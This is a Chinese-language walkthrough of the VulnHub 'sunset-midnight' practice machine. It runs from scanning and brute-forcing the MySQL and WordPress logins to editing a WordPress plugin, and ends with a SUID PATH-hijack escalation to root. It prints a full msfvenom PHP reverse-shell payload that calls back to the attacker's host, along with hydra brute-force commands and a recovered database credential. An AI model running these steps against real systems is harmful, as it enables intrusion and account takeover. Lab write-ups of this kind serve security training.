https://www.vulnhub.com/entry/sunset-midnight,517/
主機發現端口掃描
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探測存活主機，
8是靶機nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:49 CST Nmap scan report for 192.168.56.1 Host is up (0.00044s latency). MAC Address: 0A:00:27:00:00:14 (Unknown) Nmap scan report for 192.168.56.2 Host is up (0.00028s latency). MAC Address: 08:00:27:37:A2:CB (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.8 Host is up (0.00039s latency). MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.56.10 -
掃描靶機所有開放端口
nmap -sT -min-rate 10000 -p- 192.168.56.8 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:50 CST Nmap scan report for sunset-midnight (192.168.56.8) Host is up (0.0012s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC) -
掃描服務版本及系統版本
nmap -sV -sT -O -p 22,80,3306 192.168.56.8 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:51 CST Nmap scan report for sunset-midnight (192.168.56.8) Host is up (0.00052s latency).PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1 MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -
掃描漏洞
nmap -script=vuln -p 22,80,3306 192.168.56.8 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-05 16:51 CST Nmap scan report for sunset-midnight (192.168.56.8) Host is up (0.00042s latency). PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-wordpress-users: | Username found: admin |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit' |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /blog/: Blog | /wp-login.php: Possible admin folder | /wp-json: Possible admin folder | /robots.txt: Robots file | /readme.html: Wordpress version: 2 | /: WordPress version: 5.4.2 | /feed/: Wordpress version: 5.4.2 | /wp-includes/images/rss.png: Wordpress version 2.2 found. | /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found. | /wp-includes/images/blank.gif: Wordpress version 2.6 found. | /wp-includes/js/comment-reply.js: Wordpress version 2.7 found. | /wp-login.php: Wordpress login page. | /wp-admin/upgrade.php: Wordpress login page. | /readme.html: Interesting, a readme. |_ /contact/: Potentially interesting folder 3306/tcp open mysql |_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug) MAC Address: 08:00:27:A6:DF:28 (Oracle VirtualBox virtual NIC)靶機CMS是
wordpress，確定版本后可以查詢公開漏洞進行利用并且掃出mysql可能存在
cve2012-2122
web滲透
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知道CMS是
wordpress，就用wpscan來掃一下wpscan --url http://sunset-midnight/ _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ? \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | |\/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.27 Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [i] It seems like you have not updated the database for some time. [?] Do you want to update now? [Y]es [N]o, default: [N]n [+] URL: http://sunset-midnight/ [192.168.56.8] [+] Started: Thu Dec 5 17:56:06 2024 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.38 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100% [+] robots.txt found: http://sunset-midnight/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100%[+] XML-RPC seems to be enabled: http://sunset-midnight/xmlrpc.php| Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://sunset-midnight/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://sunset-midnight/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://sunset-midnight/wp-cron.php| Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10). | Found By: Rss Generator (Passive Detection) | - http://sunset-midnight/feed/, <generator>https://wordpress.org/?v=5.4.2</generator> | - http://sunset-midnight/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator> [+] WordPress theme in use: twentyseventeen | Location: http://sunset-midnight/wp-content/themes/twentyseventeen/ | Last Updated: 2024-07-16T00:00:00.000Z | Readme: http://sunset-midnight/wp-content/themes/twentyseventeen/readme.txt | [!] The version is out of date, the latest version is 3.7 | Style URL: http://sunset-midnight/wp-content/themes/twentyseventeen/style.css?ver=20190507 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...| Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 2.3 (80% confidence) | Found By: Style (Passive Detection) | - http://sunset-midnight/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3' [+] Enumerating All Plugins (via Passive Methods) [+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified: [+] simply-poll-master | Location: http://sunset-midnight/wp-content/plugins/simply-poll-master/ | | Found By: Urls In Homepage (Passive Detection) | Confirmed By: Urls In 404 Page (Passive Detection) | | Version: 1.5 (100% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://sunset-midnight/wp-content/plugins/simply-poll-master/readme.txt | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) | - http://sunset-midnight/wp-content/plugins/simply-poll-master/readme.txt [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:01 <==========> (137 / 137) 100.00% Time: 00:00:01[i] No Config Backups Found. [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Thu Dec 5 17:56:14 2024 [+] Requests Done: 172 [+] Cached Requests: 7 [+] Data Sent: 43.472 KB [+] Data Received: 444.822 KB [+] Memory used: 331.578 MB [+] Elapsed time: 00:00:08版本為
version 5.4.2，模板用的是twentyseventeen，沒掃到插件 -
網上沒找到什么漏洞可以利用的
cve2012-2122
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上邊
nmap掃描出可能存在cve2012-2122，我們嘗試利用msf6 > search 2012-2122 msf6 exploit(multi/handler) > use 0 msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set rhosts 192.168.56.8 rhosts => 192.168.56.8 msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > run [+] 192.168.56.8:3306 - 192.168.56.8:3306 The server allows logins, proceeding with bypass test [*] 192.168.56.8:3306 - 192.168.56.8:3306 Authentication bypass is 10% complete [*] 192.168.56.8:3306 - 192.168.56.8:3306 Authentication bypass is 20% complete [*] 192.168.56.8:3306 - 192.168.56.8:3306 Authentication bypass is 30% complete [*] 192.168.56.8:3306 - 192.168.56.8:3306 Authentication bypass is 40% complete [*] 192.168.56.8:3306 - 192.168.56.8:3306 Authentication bypass is 50% complete [*] 192.168.56.8:3306 - 192.168.56.8:3306 Authentication bypass is 60% complete [*] 192.168.56.8:3306 - 192.168.56.8:3306 Authentication bypass is 70% complete [*] 192.168.56.8:3306 - 192.168.56.8:3306 Authentication bypass is 80% complete [*] 192.168.56.8:3306 - 192.168.56.8:3306 Authentication bypass is 90% complete [*] 192.168.56.8:3306 - 192.168.56.8:3306 Authentication bypass is 100% complete [-] 192.168.56.8:3306 - 192.168.56.8:3306 Unable to bypass authentication, this target may not be vulnerable [*] 192.168.56.8:3306 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed但是沒有利用成功
暴力破解
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沒有思路了，可以嘗試下暴力破解，
wordpress我們枚舉出了admin用戶，mysql我們嘗試破解root用戶，同時進行破解 -
暴力破解
wordpresswpscan --url http://sunset-midnight/ -U admin --passwords /usr/share/wordlists/rockyou.txt -
暴力破解
mysqlhydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.8 mysql -
很快就爆破出了
mysql的密碼hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.56.8 mysql Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-05 23:13:16 [INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections) [DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task [DATA] attacking mysql://192.168.56.8:3306/ [3306][mysql] host: 192.168.56.8 login: root password: robert 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-05 23:13:21密碼是
robert
數據庫尋找敏感信息
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利用
Navicat登錄mysql，尋找WP的用戶表
發現密碼，不過是加密的
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通過
hash-identifier識別hash-identifier ########################################################################## __ __ __ ______ _____ # # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ ## \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ ## \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ ## \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ ## \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ ## \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 ## By Zion3R ## www.Blackploit.com ## Root@Blackploit.com ########################################################################## --------------------------------------------------HASH: $P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/ Possible Hashs: [+] MD5(Wordpress) -
嘗試破解沒破解出來
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創建了一個
MD5替換上去即可下邊是
123456的MD5值，將其替換上去e10adc3949ba59abbe56e057f20f883e
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嘗試登陸WP后臺
后臺getshell
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嘗試登錄
WP后臺，密碼是上邊替換上去的123456
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在
Plugins→Plugin Editor的右上角的Select plugin to edit選擇Simply Poll然后select
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然后選擇
simply-poll.php進行修改，寫入phpinfo進行測試
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路徑為
/wp-content/plugins/simply-poll-master/simply-poll.php，訪問
測試成功
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直接上線
MSF(.10為kali IP)msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.56.10 msf6 exploit(multi/handler) > set lport 1234 msf6 exploit(multi/handler) > run然后再
msfvenom生成payload，然后將代碼寫入到上邊的simply-poll.phpmsfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.10 lport=1234 -f raw [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 1114 bytes/*<?php /**/ error_reporting(0); $ip = '192.168.56.10'; $port = 1234; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
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然后再次訪問
/wp-content/plugins/simply-poll-master/simply-poll.phpMSF獲取到shellmsf6 exploit(multi/handler) > run[*] Started reverse TCP handler on 192.168.56.10:1234 [*] Sending stage (39927 bytes) to 192.168.56.8 [*] Meterpreter session 1 opened (192.168.56.10:1234 -> 192.168.56.8:50890) at 2024-12-05 23:59:21 +0800meterpreter >
提權
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查看權限
meterpreter > sysinfo Computer : midnight OS : Linux midnight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 Meterpreter : php/linuxmeterpreter > getuid Server username: www-data$ ip add ip add 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000link/ether 08:00:27:a6:df:28 brd ff:ff:ff:ff:ff:ffinet 192.168.56.8/24 brd 192.168.56.255 scope global dynamic enp0s3valid_lft 431sec preferred_lft 431secinet6 fe80::a00:27ff:fea6:df28/64 scope link valid_lft forever preferred_lft forever -
尋找敏感文件
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/var/www/html/wp-config.php發現jose賬號密碼（加密）/** MySQL database username */ define( 'DB_USER', 'jose' ); /** MySQL database password */ define( 'DB_PASSWORD', '645dc5a8871d2a4269d4cbe23f6ae103' );
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-
嘗試破解
看起來是
MD5，使用開膛手以及在線網站破解，無果 -
最后嘗試直接使用這串字符串登錄
ssh jose@192.168.56.8 jose@192.168.56.8's password: Linux midnight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Jul 18 15:33:29 2020 from 192.168.100.139 jose@midnight:~$登陸成功。。。神經
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尋找敏感文件
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家目錄下
user.txtjose@midnight:~$ cat user.txt 956a9564aa5632edca7b745c696f6575應該是flag
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suid
jose@midnight:~$ find / -perm -u=s -type f 2>/dev/null /usr/bin/su /usr/bin/sudo /usr/bin/status /usr/bin/chfn /usr/bin/passwd /usr/bin/chsh /usr/bin/umount /usr/bin/newgrp /usr/bin/mount /usr/bin/gpasswd /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign
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-
suid發現/usr/bin/status嘗試執行jose@midnight:/tmp$ status sh: 1: service: not found Status of the SSH server:去尋找了
service，但是沒找到 -
思路：在新建
service然后里邊是提權代碼，讓status去找它（通過環境變量）-
新建
service文件jose@midnight:/tmp$ echo "/bin/bash" > service jose@midnight:/tmp$ chmod 777 service -
修改環境變量，將
/tmp目錄放在前頭（看目錄進行修改）jose@midnight:/tmp$ export PATH=/tmp:$PATH jose@midnight:/tmp$ echo $PATH /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games -
運行
statusjose@midnight:/tmp$ /usr/bin/status root@midnight:/tmp#獲得root！！！
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-
讀取
flagroot@midnight:~# cd /root root@midnight:/root# ls root.txt status status.c root@midnight:/root# cat root.txt ___ ____/' --;^/ ,-_\ \ | // / --o\ o-\ \\ --(_)--/-/-/|o|-|\-\\|\\ / | \'` ` |-| `` '|-||-|O|-(\,__...|-|\--,\_....,;;;;;;;;;;;;;;;;;;;;;;;;,. ~,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;, ______ --------- _____ ------db2def9d4ddcb83902b884de39d426e6Thanks for playing! - Felipe Winsnes (@whitecr0wz)
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